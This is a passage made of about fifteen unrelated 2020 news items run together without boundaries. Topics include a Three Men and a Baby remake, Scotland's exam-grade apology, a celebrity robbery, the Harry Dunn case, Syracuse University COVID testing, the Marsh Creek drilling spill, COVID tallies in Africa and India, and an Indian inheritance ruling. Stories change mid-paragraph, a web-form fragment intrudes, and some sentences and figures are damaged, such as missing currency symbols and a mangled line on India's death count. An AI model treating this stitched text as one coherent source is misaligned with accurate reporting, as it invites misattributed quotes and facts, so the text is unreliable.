at an older audience, has been cast in the remake of hit 1987 comedy Three Men and a Baby. Its unknown who the other two lead stars will be. According to The Hollywood Reporter, the remake, which originally starred Steve Guttenberg, Ted Danson and Tom Selleck, will head straight to Disney+, the studios high-profile streaming service. Director Gordon Gray, the man behind recent Ben Affleck drama Finding the Way Back, will oversee the project as producer. Star Trek actor Leonard Nimoy directed the original, which became the first live-action Disney film to cross the $100m mark in the US. Efron, who played Troy Bolton in the High School Musical series opposite Vanessa Hudgens, most recently played a drug rehabilitation patient in The Beach Bum and serial killer Ted Bundy in Extremely Wicked, Shockingly Evil and Vile. In 2017, he also appeared in successful musical The Greatest Showman, which is arriving on Disney+ following the studios merger with 20th Century Fox. He also presented his own nature documentary series for Netflix titled Down to Earth. Okay, that casting choice makes sense, one person wrote, with writer Alanna Bennett adding: As a Three Men and a Baby stan I GASPED. I ADORE this for him! Love in Colour author Bolu Babalola agreed. R Eric Thomas wrote: This is actually potentially very good for him! A director is yet to be announced, and it is unknown when the film will be released. Email To : Multiple e-mail addresses must be separated with a comma character(maximum 200 characters) Email To is required. Your Full Name: (optional) Your Email Address: Your Email Address is required. An apology from Nicola Sturgeon to pupils in Scotland who had their recent exam results downgraded will be cause for concern for pupils in Northern Ireland, an MLA has said. The Scottish First Minister said yesterday too much focus had been given to the results system rather than individuals and apologised to those affected, seeming to acknowledge those in more deprived areas were hardest hit. She said her Education Secretary John Swinney will set out a plan to rectify the matter at the Scottish Parliament today. Ms Sturgeon said that "too many have lost out on grades that they think they should have had ... as a result, not of anything they've done, but because of a statistical model or an algorithm, and in addition that burden has not fallen equally across our society. "Despite our best intentions, I do acknowledge we did not get this right and I'm sorry for that. The most immediate challenge is to resolve the grades awarded to pupils this year." With no exams this year due to the coronavirus pandemic, the Scottish Qualifications Authority (SQA) applied a methodology whereby grades estimated by teachers were downgraded based on criteria including the historic performance of the school. Ms Sturgeon also said she is "not prepared" to have young people feel that "no matter how hard they work at school, no matter how seriously they take education, the system is stacked against them". Pass rates for pupils in the most deprived data zones were reduced by 15.2% in comparison with 6.9% for pupils from the most affluent backgrounds. A similar system is in operation in Northern Ireland. Ulster Unionist Robbie Butler said: "The apology from Nicola Sturgeon over how A-level exams have been handled in Scotland will be a further cause of concern for those pupils still awaiting their results in Northern Ireland. "The fear and exam result-related anxiety that exists amongst students - particularly those from working class backgrounds - is palpable and they need to know that their concerns are being addressed before Thursday. "This would already be an incredibly stressful time for many young people awaiting results, and that is now being compounded by the concern that their grade may be affected by elements beyond their control. "The standardising of centre and cohort marks awarded was raised as a concern at Education Committee previously, most notably due to there being no appeal mechanism to challenge this aspect, and given the failure to protect students from a working class background in Scotland it is vital that CCEA have got this right. This is a section of our society who are eagerly waiting to take the next step in their life, they cannot be let down." Jonathan Cheban was seen for the first time on Monday since being robbed at gunpoint in New Jersey on August 2. The 46-year-old friend of Kim Kardashian looked noticeably dressed down in a black tee and distressed jeans as he stopped by skincare clinic Epione in Beverly Hills. Cheban's brunette hair was brushed back and he had on a pair of black RayBan sunglasses as he removed a mask from his face. Spotted: Jonathan Cheban was seen for the first time on Monday since being robbed at gunpoint in New Jersey on August 2 After his appointment, Jonathan fled the celebrity hot spot in a black SUV. Cheban's terrifying ordeal on August 2 happened in the quiet, upscale suburban neighborhood of Englewood Cliffs, while in the company of a friend. At one point his mother Galina had a gun pointed at her head before the mugger took Cheban's $250,000 Richard Mille watch, the star confirmed to DailyMail.com on August 3. 'It was frightening, I want the guys caught,' Cheban told DailyMail.com exclusively. Pick me up: The 46-year-old friend of Kim Kardashian looked noticeably dressed down in a black tee and distressed jeans as he stopped by skincare clinic Epione in Beverly Hills Scary scene: Kim Kardashian's good friend Jonathan Cheban was robbed at gun point over the weekend in New Jersey. Seen in February 'The mugger had a gun pointed at my mother's head,' Cheban tells DailyMail.com. 'There were two gunmen. It was frightening. It happened at 8:30 pm last night just as the sun was going down.' The reality star, who goes by the name FoodGod, reported the mugging to New Jersey police and he visited the police station on Monday to create sketches of the criminals with detectives. So far the criminals have not been caught. The incident started at 8:30 pm on Sunday when Jonathan and his mother were with a friend outside a home in a private driveway in the sleepy suburb known for its upscale homes, His mother was involved too: At one point his mother Galina had a gun pointed at her head before the mugger took Cheban's $250,000 Richard Mille watch, the star confirmed to DailyMail.com on Monday. Seen in West Hollywood in 2018 So close to Manhattan: Englewood Cliffs is a sleepy suburb filled with mansions that is across the river from NYC. Here is a view from Englewood Cliffs looking at the George Washington Bridge Then a 'young man' came up to the trio and asked what time it was. Jonathan told his mother and friend to go inside the house. Then they noticed a second man with a gun in the street not far away. Before they knew it, the first man had a gun pointed at Galina's head and the perpetrator asked for money or jewelry. Cheban handed over his watch, a designer brand with a heavy price tag. Neighbors saw the incident and called police. She was robbed too: This comes almost four years after Kim, 39, was robbed at gunpoint inside her Paris hotel during fashion week. Seen in September 2019 in NYC On her series: Cheban is often seen on KUWTK. The gunmen barged their way into the room where Kim was with an assistant. The men eventually tied Kim up and locked her in a bathroom as they stole her jewelry. Kim has since said the robbery changed her life TMZ was first to report the news. This comes almost four years after Kim, 39, was robbed at gunpoint inside her Paris hotel, The Hotel Pourtales, during fashion week. The gunmen barged their way into the room where Kim was with an assistant. The men eventually tied Kim up and locked her in a bathroom as they stole her jewelry worth over $10M. Kim has since said the robbery changed her life and she often does not go out with big items on. It also turned her focus in life toward her family and charity. A BP refinery worker in Australia who was sacked for poking fun at employers by sharing a Hitler meme has been awarded $200,000 (109,000) in compensation. Scott Tracey used the popular meme from 2004 film Downfall, in which Hitler confronts his generals in his bunker, to portray scenes from company wage negotiations. The video was posted on a closed Facebook site and titled Hitler Parody EA Negotiations not going the [companys] way. BP said the inappropriate video had likened managers to Hitler and Nazis, and Mr Tracey lost an unfair dismissal case in September last year which ruled that it was offensive. But in February, Mr Tracey won his job back following an appeal judgement after insisting the video was meant to be humorous and it did not directly identify BP. He returned to work in March this year at the BP Kwinana oil refinery in south-west Perth. Following a two-year legal battle, Mr Tracey was awarded $177,325 (135,600) in wages and lost bonuses, minus tax, and also $24,070 (18,400) in superannuation or pension payments. Australian secretary Brad Gandy, who represented Mr Tracey, told the Sydney Morning Herald the payout didn't make up for the "unnecessary drama and heartache Mr Tracey has been dragged through". He added: "We hope this marks the end of a truly unedifying chapter for BP management. "To dig in and drag an honest worker through nearly two years of stress and uncertainty, all because a few stuffed shirts didn't get a joke, is poor corporate behaviour." BP wanted money to be deducted from the payout on the grounds that the sharing of the video among colleagues was misconduct. The company also argued that Mr Tracey could have found work during the trial. But the Fair Work Commission argued that was no evidence to suggest that Mr Tracey had not searched for employment. A BP spokesperson told the Evening Standard: "We are reviewing the decision. "We remain committed to upholding our values and behaviours consistently across our company, including at offices, refineries, and retail sites A UNSW medical student who "practised" a genital examination on a neurology patient with memory loss issues has been acquitted of sexual and indecent assault in the District Court. Zhanyi Png, 28, was on a placement in the intensive care unit at St Vincent's Hospital in April 2019 when a woman was admitted with suspected viral encephalitis. Zhanyi Png was acquitted of sexually abusing a patient. Credit:Rhett Wyman Mr Png later visited the woman in a neurology ward where it was alleged he carried out unnecessary vaginal and anal examinations to which she did not consent, without using gloves. But the testimony of the complainant was brought into question during the trial, as the woman was suffering short-term memory loss due to her illness. Harry Dunn's family have urged the Home Secretary to consider a virtual trial for Anne Sacoolas so she can be tried without leaving the US. The 42-year-old was charged with causing death by dangerous driving after a crash in August last year which resulted in the 19-year-olds death. Mrs Sacoolas claimed diplomatic immunity following the collision outside RAF Croughton in Northamptonshire and was able to return to her home country, sparking an international controversy. In a letter to Priti Patel on Monday, the Dunn familys constituency MP Andrea Leadsom described a virtual trial as a way to achieve closure without undermining the US decision not to accept the extradition request. Mrs Leadsom also wrote to the Solicitor General, the Foreign Secretary, the Crown Prosecution Service and the Lord Chancellor to put forward the idea of a virtual trial or a trial in Sacoolass absence. The 42-year-old was charged with causing death by dangerous driving after a crash in August last year which resulted in the 19-year-olds (pictured) death The familys spokesman Radd Seiger said the family would not object if a decision was taken to conduct a remote trial. In the letter, Mrs Leadsom said: You may be aware that the anniversary of Harrys death falls on August 27 and this is obviously an extremely difficult time for the family. They are very anxious to obtain closure on these terrible events before that date and seek urgent comments on the possibility of the trial of Anne Sacoolas virtually or in her absence. She could remain on US soil, have a virtual trial with a UK court, and should there be a custodial sentence, she could serve it in the US under the existing prisoner transfer agreement. Now the loophole that allowed Anne Sacoolas to claim diplomatic immunity has been closed by our Foreign Secretarys excellent efforts, it must be clear to all that the claim of immunity was the wrong thing to do and that a virtual trial is a way to achieve closure for Harrys family without undermining the US decision not to accept the extradition request. The family of Harry Dunn, (left to right) Tim Dunn (Harry's father), Charlotte Charles (Harry's mother), Tracey Dunn and Bruce Charles Mr Dunns family said their final goodbye to their son last month as they scattered his ashes in his favourite place Portland Bill, near Weymouth in Dorset. Reacting to the letters, Mr Dunns mother Charlotte Charles told PA: How justice is administered is not a matter for me as a victim of this very serious crime. However, Im very grateful to Andrea Leadsom for working hard on our behalf to ensure that justice is done for Harry. I can see that she has written to the authorities suggesting that Anne Sacoolas is tried remotely from the US and were grateful for her looking at ways in which justice can be achieved. Mrs Charles continued: For me and my family, it is all about doing the right thing and ensuring justice is done. I did not make it to hospital in time to comfort Harry. He died just before I got there. I did make a promise to him that we would get him justice and that is just what we will do. I have every confidence that the authorities will make sure it happens. An extradition request submitted by the Home Office for Sacoolas was rejected by US Secretary of State Mike Pompeo in January. The US State Department later described the decision as final, despite the loophole which allowed Sacoolas to claim diplomatic immunity being closed by both countries last month. Giving his thoughts on the possibility of a remote trial, Mr Seiger told PA: Anne Sacoolas must face the British justice system like any of us would have to and that is what will happen. It is obviously up to the authorities how that takes place. The suggestion of a remote trial is a novel one and as far as I am aware would be totally unprecedented in our legal system. Anne Sacoolas must go through the English legal system. That has always been our case. How she does that is a matter for the authorities who have always been clear that they remain intent on ensuring she comes back to face justice. But I can say that were a remote trial to be considered by the authorities and a decision taken to do it that way, particularly in the middle of this pandemic, the family would not object. Lets wait and see if this is a viable way forward. The Home Office has been approached for comment. A spokeswoman for the Attorney Generals Office confirmed a letter had been received but declined to comment further. Syracuse, N.Y. Syracuse University said Tuesday that three students tested positive for coronavirus since Aug. 2 and that it did not find any cases when it welcomed its first batch of traditional students into residence halls more than a week ago. The school reported those numbers Tuesday via its COVID dashboard. The dashboard will provide weekly updates of coronavirus on campus. The three students are in isolation. The school has collected 1,344 samples since Aug. 2. Perhaps most optimistically, the school screened about 800 students with pooled saliva tests during the first weekend in August without finding a single case. The school screened students moving into residence halls to perform a state-mandated two-week quarantine, athletes living on campus and residence advisers. The three active cases were found during individual testing of other student groups according to Mike Haynie, Syracuses vice chancellor for strategic initiatives and innovation. The school has around 420 students quarantining in dorm rooms. Around 2,500 other students from states on New Yorks quarantine list are expected to quarantine off campus (either at a hotel, off-campus housing or elsewhere). The schools re-entry plan calls for every student to be tested before they travel to campus, upon arrival and again two or three weeks later. Well see what (the number) looks like when we test everybody, said Dr. David Larsen, one of many committee members tasked with helping advise SUs reopening. Then, post-Labor Day, it should help us understand if weve had an increase. If we have an increase in transmission over those three weeks well re-assess about what happens from there. The coronavirus screening was done using a pooled saliva testing process put together by SUNY Upstate Medical and Syracuse-based Quadrant Biosciences. A positive test would have triggered individual tests for each student in that pool. None was required. Haynie and Larsen said Syracuses move-in procedure has already proven valuable, weeding out five potential cases before they reached Central New York. The school is requiring students to produce a negative result within 10 days of traveling to CNY. Four-hundred and seventeen students from hot states took those tests at home and reported results to the school. Five (1.2 percent) tested positive and never traveled to Central New York. The others were cleared to move in. One of my first big lessons was how important thats going to be, Haynie said. If we didnt have pre-arrival screening they would be here. All were intercepted. Not a single one of them had any clue they were positive. They were all asymtomatic. ... My new mantra for this is experience is if we can start low, we can stay low. Syracuse has said about 3,000 students from hot states are expected for the semester. If 1 percent of those students are positive, a reasonable estimate, that would be around 30 cases from hot states that the school would like to resolve before they reach campus. We saw 1.2% SARS2 test positivity in first-year students returning to @SyracuseU from states on NY travel advisory. That's six times higher than a few campus modeling studies I have seen... pic.twitter.com/FlGj01WjM2 David Larsen (@larsen_da) August 10, 2020 Along with catching cases early and stopping them from arriving, the school is hopeful other potential cases will be resolved by the states quarantine orders. This travel advisory has been a headache to handle but its been needed and appreciated from the public health side, Larsen said. All these hot state kids are in quarantine. The school sent some home who broke it. I would expect to see some transmission but not to the level of the sky is falling. Thats because we have relatively few hot state kids. The 1.2 percent was a much higher number than Larsen anticipated. He said its as much as five or six times the number some reopening models are assuming. Larsen said that should serve as a note of caution to colleges, particularly in hot states. Some might need to reflect on their reopening plans. While the number doesnt sound high compared to the percentage of positive tests some hot states are reporting, Larsen noted thats because many states are only testing individuals showing symptoms. Over a large population, that low percentage can still add up. For instance, a school with Syracuses enrollment (22,850) that drew its population entirely from hot states might expect to start the year with around 228 cases among students that need to be resolved. All those states that have a test positivity rate of 10 percent, theyre testing people who are primarily symptomatic so (the number is) going to be higher, Larsen said. This is a convenient sample. Its not really random. ... But if 1 percent of all college-aged kids from those states are actually positive thats really, really high. The schools in hot states might need to rethink their opening. A number of national and local medical experts have told Syracuse.com | The Post-Standard that bringing college students to Central New York college poses some risk of increasing the spread of the virus but they believe those risks are outweighed by the potential for educational, financial and mental health benefits. Most have said they believe making the effort is responsible as long as schools have a good plan. In addition to its initial testing, Syracuse plans to monitor the wastewater in campus buildings twice per week to identify cases, monitor the wastewater in off-campus areas to monitor spread and conduct random tests on students three times during the fall semester. Larsen said there are no guarantees the schools reopening plan will work but it will be clear if it is not and the school will be able to react. He said he believes the early numbers continue to show it is a responsible choice for Syracuse to bring students back. If we had test positivity of 10 percent (and the school was trying to open), I would resign in protest, Larsen said. Were not trying to be reckless or cavalier about reopening. The transmission rate in the county warrants moving forward. It doesnt mean we dont scale back plans in the future if necessary. Maybe we have to. But part of being science-driven is understanding local conditions and risk, not just that the virus is bad. MORE ON CORONAVIRUS AND COLLEGES Syracuse University reopening: What happens when a party school meets a pandemic? Syracuse reopening plan: Nearly 2,000 students could need to quarantine; Sheraton will be used during the year College students confront falls reality: A lot of people are upset were paying more for less Syracuse University may look much different when students return: Sports, parties, office hours, more Syracuse University will require negative coronavirus test from students before they arrive on campus Syracuse University releases suggestions for fall reopening: Dont hold doors and keep 12 months of PPE How will Syracuse University test 20,000 students for coronavirus? By pooling their saliva Contact Chris Carlson anytime: Email | Twitter | 315-412-1639 UPPER UWCHLAN While drilling for the Sunoco Mariner East Pipeline, an unconfirmed 10,000 gallons of horizontal directional drilling fluid was dumped into a tributary of Marsh Creek Lake. A plume of industrial waste mixing with state park water, containing clay and chemical additives, which can smother aquatic life, was spotted Monday. While Sunoco/Energy Transfer has blocked the pollutant from a marsh, a large plume of gray water stretched hundreds of feet into the lake that supplies water downstream to several areas in Chester County. That water flows through the pipes at the Downingtown Municipal Water Company and as far away as Wilmington, Del., along the Brandywine Creek A state Department of Environmental Protection (DEP) representative, Virginia Cain, said Tuesday afternoon that all downstream users along the Brandywine Creek were notified, with no reports of drilling fluid released to intakes. Her statement is as follow: On Monday, Aug. 10, 2020, DEP responded to a report from Sunoco of a potential inadvertent return at HDD 290, a drill site off Green Valley Road in Marsh Creek State Park in Upper Uwchlan Township, Chester County. An unconfirmed amount of drilling fluid (mud and water) spilled into wetlands and a tributary to Marsh Creek Lake and migrated to the lake itself. Mitigation efforts are ongoing in numerous places in the impacted waters, and the responsible party is working to deploy additional vac trucks. DEP is working in coordination with DCNR and PA Fish & Boat on this pollution event. The drilling mud came from an inadvertent return, or frac-out, during the drilling process, as has occurred recently in several areas of Chester and Delaware counties. Drilling was stopped. Documentarian Christina P.K. Digiulio is a neighbor to the state park and frequent visitor. Energy Transfer thinks they can also bully nature, she said. They were dead wrong. And now a lot of aquatic life is suffering and being suffocated by this industrial waste spill. The entire project needs to be stopped now. More than a year ago, 250 people wrote to the DEP urging a stop to Sunoco plans to cross the popular recreation site for sailors, kayakers and those fishing. The DEP approved the plans as Sunoco requested on Jan. 23. DEP has failed Pennsylvanians when we need them most, said attorney Joseph Otis Minott, executive director of the local Clean Air Council, an opponent of the Mariner East pipeline projects. Our lakes and parks are among our few refuges during the pandemic and they are more critical than ever. By letting Sunoco proceed in the face of clear warnings of the destruction it would cause, DEP has made what amounts to a willful decision not to protect the publi, Minott said. Residents are weary and they are frustrated. Do your job, DEP. Step up, Governor Wolf. Fines are not enough. Shut it down. State Rep. Danielle Friel-Otten, D-155th, of Uwchlan, visited the site Monday night. No more pay-to-pollute policies in Pennsylvania. Governor Wolf and the DEP must pull Sunocos permits across Chester County, Friel-Otten said. In the last month, weve had more than a dozen land subsidence events surrounding a valve station on one of our most active county thoroughfares; weve had 250,000 gallons per day of water pouring out of a hillside at the drill site on Shoen Road, with a blowout event damaging private property there this weekend. Now Sunoco has spilled 10,000 gallons of proprietary drilling mud of undisclosed composition into a tributary to a drinking water source, recreation area, and wildlife habitat, the longtime opponent of the pipeline stated. Enough is enough. I stand with Chester County residents calling for an end to this madness, and for Pennsylvania to put people over the profits of an out-of-state, multinational corporation. The Sunoco Mariner East Pipeline was designed to stretch 350 miles from Marcellus Shale sites in West Virginia, Ohio and Pennsylvania to a Sunoco refinery in Marcus Hook, Delaware County. Sunoco has repurposed a 1930s-era pipeline to carry highly volatile gasses/liquids to be used for overseas production of plastics. Digiulio said the waterway is near and dear to her. This is where I go to get away from the chaos in life, she said. I paddleboard here all the time. What I saw when I threw my drone up in the air made my jaw drop. It brought tears to my eyes because we work so hard to protect the water as community watchdogs, and it feels like we are screaming into the wind. This was completely predictable; dont let anybody tell you it was not. The community does not yet understand the effects of this spill. This is so reckless, the filmmaker said. It is very clear that (Energy Transfers, the construction company building the project) and the DEP have no intention of protecting our water, they only have the intention of trying to clean up and cover up for their blatant disregard of our resources, our health, and our safety. Sam Rubin, and organizer with Food and Water Watch, released the following statement: Throughout the whole Mariner East ordeal, Sunoco has demonstrated carelessness and a callous disregard for the people of Pennsylvania. Our communities have suffered sinkholes, spills, and water contamination, and yet Governor Wolf and his DEP have allowed this to continue. There is no way to safely construct this monstrous pipeline, and there will be no safe way to operate it in the future either. Our homes, schools and parks are threatened by a project that only exists to serve Sunocos interests, sending dangerous gas liquids overseas to be turned into plastic junk. This mud spill and the damage it is causing was predictable and predicted. Enough is enough: Governor Wolf must shut down Mariner East before Sunoco does any more damage. Lisa Coleman, spokeswoman for Energy Transfers, released the following statement Tuesday afternoon: We experienced an inadvertent return (IR) of water and bentonite clay yesterday that entered into a tributary for Marsh Creek Lake in Upper Uwchlan Township. We recognize the importance of this waterbody and are committed to allocating all necessary resources to fully remediate and restore the area; which includes removing the non-toxic bentonite clay and water mix sometimes referred to as drilling mud. The critical resources have been mobilized and the cleanup process is currently underway. We are working with the Department of Environmental Protection (DEP) and the Pennsylvania Department of Conservation and Natural Resources on our cleanup response. While IRs are not unexpected, we try to take all precautions to avoid them from happening and to minimize the impacts when they do. IRs are covered in our permit applications approved by the Department of Environmental Protection (DEP). We comply with an Inadvertent Return Contingency Plan by responding to and containing the inadvertent return to avoid any adverse impacts, and by reporting them to the DEP. Del-Chesco United for Public Safety, a grassroots organization, released the following statement Tuesday afternoon: In the past, little has been done about events like these. A major release at Raystown Lake resulted in a $2 million fine trivial in the context of the budget for this proposed pipeline. If nothing changes, these releases will also result in trivial fines and Notices of Violation (NOVs) which will have no deterrent effect. Sunoco has racked up hundreds of similar NOVs for violating state law and permit conditions, which it simply ignores. The only thing that gets Sunocos attention is shutting down construction, and that is what must happen here. Chester County Commissioners Marian Moskowitz, Josh Maxwell and Michelle Kichline said, We take seriously our role to protect Chester Countys natural resources and try to ensure the health, safety and welfare of Chester County residents, businesses and the environment. Residents in the Marsh Creek area have reached out to us about this situation, voicing their concerns for the environment and wildlife. Although Marsh Creek is a state-owned reservoir, we will do all that we can to find answers. We are coordinating with the DEP, PEMA, the PA Fish and Boat Commission, the Department of Conservation and Natural Resources, relevant county departments, township officials, and other elected officials to ensure appropriate actions are being taken by Energy Transfer to resolve the Marsh Creek incident, and by the Commonwealth agencies to prevent situations like this happening in the future. Residents are reminded to report observed or suspected pollution events directly to the DEP at 484-250-5900 to file an official complaint or concern. This hotline is monitored 24 hours a day, 7 days a week. Source: Xinhua| 2020-08-11 23:25:46|Editor: huaxia Video Player Close ADDIS ABABA, Aug. 11 (Xinhua) -- The Africa Center for Disease Control and Prevention (Africa CDC) on Tuesday revealed the number of confirmed COVID-19 cases in Africa surged to 1,055,964 as the death toll rose to 23,582. The Africa CDC, a specialized healthcare agency of the African Union (AU) Commission, in its latest situation update issued on Tuesday, said the number of COVID-19 cases across the African continent has risen from 1,047,218 on Monday to 1,055,964 as of Tuesday. The Africa CDC also noted that the continent-wide COVID-19 related death toll registered an increase of 329 deaths compared to Monday's 23,253 report, to reach 23,582. The continental disease control and prevention agency also said the number of people who recovered from their COVID-19 infections also reached 744,438 so far. South Africa currently has the most COVID-19 cases at 563,598. The country also has the highest COVID-19 related deaths, with death toll currently standing at 10,621, according to the Africa CDC. Egypt comes next with 95,666 COVID-19 cases and 5,035 COVID-19 related deaths followed by Nigeria, which has so far recorded 46,867 COVID-19 cases and 950 deaths, it was noted. The Southern Africa region is the most affected area in terms of confirmed cases, followed by Northern Africa and Western Africa regions, respectively, the Africa CDC said. Amid the spread of the COVID-19 pandemic across the African continent, the Africa CDC had also disclosed that about 34 African countries are under "full border closure" in an effort to halt the spread of the infectious virus. The Africa CDC, which noted that some 41 countries are practicing mandatory public use of face masks, stressed that preventing a crisis such as acute shortage of personal protective equipment for healthcare workers "should be prioritized by health authorities in Africa as part of the COVID-19 response." Enditem On April 21, Mr Millard said the facility received "deeply distressing advice" that conflicted with that of Dr James Branley, head of infectious diseases from Nepean Hospital. He had advised that all staff should wear PPE, especially when the virus could "still be incubating". But a NSW Health official emailed saying: "Please make sure the facility know not to use full PPE for anyone but positive and suspected cases." Newmarch got conflicting advice from NSW and federal officials, including this email advising staff not to wear masks unless they were treating residents who had tested positive. The "dysfunction or disagreement" was so intense after Easter that Mr Millard asked the federal aged care minister, Senator Richard Colbeck, to intervene to ensure Dr Branley called the shots. Within six hours of talking to Senator Colbeck, Dr Branley's role was confirmed. Like other aged care facilities, Newmarch also struggled to get PPE and find trained staff. Its pandemic plan had estimated they would need a surge force of about 40 per cent to replace staff who fell ill. "Within a number of days we lost ... 87 per cent of our workforce," said Mr Millard. Newmarch House's self-assessment. Some agency staff had no experience in an aged care facility. None knew how to use PPE. "It wasn't as if they (the agency) had a magic quarantine number of workers. We were all scratching around and people were scared. They were terrified of COVID and it was difficult to get people," Mr Millard told the commission. Of the 37 residents who tested positive to COVID-19 at the Newmarch House, only two were transferred to hospital. One of those died. The other 16 residents who died of COVID-19 were all treated at Newmarch House, the royal commission heard this week. Newmarch House reported it had "best practice". Anglicare's Newmarch was not the only aged care facility to overestimate its readiness. Of the 313 Australian COVID-19 deaths reported as of Monday, Commonwealth data shows 220 were residents of an aged care facility. Of those, 189 were in Victoria where some of the outbreaks have resulted in more than 100 cases in many care homes. Like Newmarch, the commission heard that 99 per cent of all aged care facilities that did the same readiness assessment also said they had plans for infection control and to communicate with families, and 92.6 per cent said staff had been educated on infection control. Virginia Clarke's experience was very different. Virginia Clarke's father Ron Farrell, who died at Newmarch House after testing positive for COVID-19. For the seven years before the pandemic, Mr Farrell had lived happily at Newmarch. When the pandemic struck, Ms Clarke said Newmarch had too few staff and they weren't sufficiently trained, and communication with families was poor. For example, she had to keep asking if her 94-year-old fathers results had come back. Seventeen residents died from coronavirus at Newmarch House. Credit:James Alcock Loading After she found out he had tested positive, nobody would answer her questions about what happened next or tell her if her father had been told. "Do I tell Dad? Do I not, she asked. I didn't want to upset him if he didn't know, he was by himself in a room. I didn't want to tell him why he was by himself. Mr Millard said aged care facilities could not respond to a pandemic without help from commonwealth and state governments. He told the commission that he wanted to "express my regret that organisationally we were challenged in communicating with families. We were absolutely overwhelmed with the challenges of dealing with with COVID-19. And we have had some learnings from that, particularly about communication... to families because families missed their loved ones." Loading In contrast, six residents died at Dorothy Henderson Lodge, the first aged care facility to experience a COVID-19 outbreak. And 13 of the 16 positive cases were sent to hospital. Anglicare service development and practice governance general manager Erica Roy said, with the benefit of hindsight, the statement about its pandemic readiness "was not accurate". "In particular I acknowledge with sadness ..... during the outbreak, especially with keeping family members updated about their loved ones at a time of great anxiety and distress and maintaining care standards for our residents at a time of huge challenges with the staffing numbers," she told the commission. She also said the guidelines by Communicable Diseases Network Australia "drew us to treat COVID as a flu-like illness". NEW DELHI: Prime Minister Narendra Modi interacted with the Chief Ministers of ten states and reviewed the coronavirus COVID-19 situation in the country and further measures required to check its spread on Tuesday (Agust 11, 2020). According to reports, PM Modi's interaction with the Chief Ministers via video-conference began around 11 AM. He interacted with the CMs of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana and Uttar Pradesh. Defence Minister Rajnath Singh is also present in the meeting. The meeting assumes significance as these 10 states have a high population density and the idea is to bring down the virus caseload. This is the seventh video conference of the Prime Minister with the states CMs since the outbreak of the pandemic. This is also the first meeting of the PM with chief ministers during Unlock 3.0 on the coronavirus pandemic. Since March, PM Modi had interacted with the CM and reviewed the coronavirus pandemic in India. During his interaction, the PM had called for strict adherence to Centre's guidelines and the social distancing norms to check the spread of Coronavirus. India, the third country worst hit by the COVID-19 pandemic, recorded a spike of 53,601 coronavirus cases on Tuesday, pushing the total tally to 22,68,675. The country tested a record over 871 deaths in a single day. The number of recoveries mounted to almost 16 lakh, more than twice the active cases. Out of the total cases, 6,39,929 are active cases while 15,83,489 have recovered from the disease and 45,257 people have lost their lives in the fight against the deadly virus. Notably, India recorded the highest number of recoveries in a single day at 47,746. The recovery rate has gone up to 69.79 per cent. On Monday, the government tested 6,98,290 samples. A total of 2,52,81,848 samples have been tested so far. Maharashtra remained the worst-hit state with a total of 5,15,332 cases and 17,757 deaths, followed by Tamil Nadu with 2,96,901 cases and 4,927 deaths. The southern state is followed by Andhra Pradesh, Karnataka, Delhi, and Uttar Pradesh. Globally, the overall number of Covid-19 cases has surpassed the 20 million mark, while the deaths have increased to over 7.34 lakh, according to the Johns Hopkins University. As of Tuesday morning, the total number of cases stood at 2,00,11,186 and the fatalities rose to 7,34,664, the University`s Center for Systems Science and Engineering (CSSE) revealed in its latest update. The US accounted for the world`s highest number of infections and fatalities at 50,89,416 and 1,63,425, respectively, according to the CSSE. Brazil came in second place with 30,57,470 infections and 1,01,752 deaths. One such structure was the Sheldon Peck Homestead, the oldest house in Lombard, built in 1839, according to Alison Costanzo, executive director of the Lombard Historical Society. The home, which was restored to its 1839 configuration by the historical society, sustained roof damage and has a tree against the east side of the building, Costanzo said. Officials planned to call for volunteers to help with the cleanup through their social media pages. The Supreme Court on Tuesday ruled that daughters will have equal rights in the parental property as sons even if the father died before the Hindu Succession (Amendment) Act 2005. A three-judge bench headed by Justice Arun Mishra said: "Daughters must be given equal rights as sons. Daughter remains a loving daughter throughout life. The daughter shall remain a coparcener throughout life, irrespective of whether her father is alive or not." Coparcener is a term used for a person who assumes a legal right in parental property by birth only. "The rights can be claimed by the daughter born earlier with effect from September 9, 2005 with savings as provided in Section 6(1) as to the disposition or alienation, partition or testamentary disposition which had taken place before December 20, 2004. Since the right in coparcenary is by birth, it is not necessary that father coparcener should be living as on September 9, 2005," the bench added. The apex court's ruling came during the hearing of appeals on whether the Hindu Succession (Amendment), which bestows equal rights to daughters in ancestral property, has a retrospective effect. With this landmark judgement, it becomes clear that the amendment to the Hindu Succession Act, 1956 granting equal rights to daughters to inherit ancestral property would have retrospective effect. The apex court said the appeals on the issue were pending before different high courts and subordinate courts and the matters have already been delayed due to legal imbroglio caused by conflicting decisions. "The daughters cannot be deprived of their right of equality conferred upon them by Section 6. Hence, we request that the pending matters be decided, as far as possible, within six months," the bench said. The apex court's verdict came on the issue whether the amendment to the Hindu Succession Act, 1956 granting equal rights to daughters to inherit ancestral property would have retrospective effect. Also read: Ex-CJI calls for stringent laws to safeguard intellectual property rights Also read: Female inheritance rights in India: Empowered women a key to economic progress Related Egyptians vote in Senate elections amid tight measures against coronavirus Egypt's 2020 Senate elections, where citizens are casting their ballots to choose their representatives in the newly-established council, have been trending on social media over the past few days. The two-day-long voting period for Egyptians abroad concluded a few hours ago. Voting inside the country started on Tuesday morning and is set to last until Wednesday evening. The elections, which are being held amid tight preventative measures over the coronavirus pandemic, have attracted media coverage. Many news outlets are publishing their elections related news items under the hashtags #Egypt_senate_elections_2020 and #__. Using the same hashtags, voters have posted photos of themselves inside polling stations while wearing the obligatory protective masks and keeping a safe distance in voting queues outside polling stations. The hashtags continue to trend in Egypt for the third consecutive day. Around 63 million Egyptians from the country's population of over 100 million people are eligible to cast ballots. A total of 787 candidates are competing for seats in the 300-seat parliamentary upper chamber, which was created in accordance with constitutional amendments approved last year. Two-thirds of the members will be elected via the individual candidacy and the closed party list systems, and the rest will be appointed by the president. Women will hold a quota of at least 25 percent of the seats in the chamber. The council will act as an advisory chamber to the House of Representatives. It will be in place of the Shura Council, an upper house of parliament that was dissolved in 2014. The results of the first round of voting will be announced on 19 August. The run-off vote will take place in September. The five-year life of the Senate is set to end in 2025. Search Keywords: Short link: The demand for affordable housing has increased exponentially during the current pandemic and economic downturn, making Lineage an incredibly important addition to the Alexandria market. Edgewood President and CEO Cindy Sanquist said the company is honored to help bring such a timely and high-quality affordable housing opportunity to the city. "We're privileged to partner with the Alexandria Redevelopment and Housing Authority on this exciting new affordable housing community," Sanquist said. "The current need for affordable housing is urgent, and we're delighted to be one step closer to increasing affordable housing availability in Alexandria with the start of preleasing on this project. Lineage at North Patrick Street is a truly impressive and important community, and we're eager to bring it online." Wendy Simpson, Edgewood vice president of marketing, reported tremendous interest in 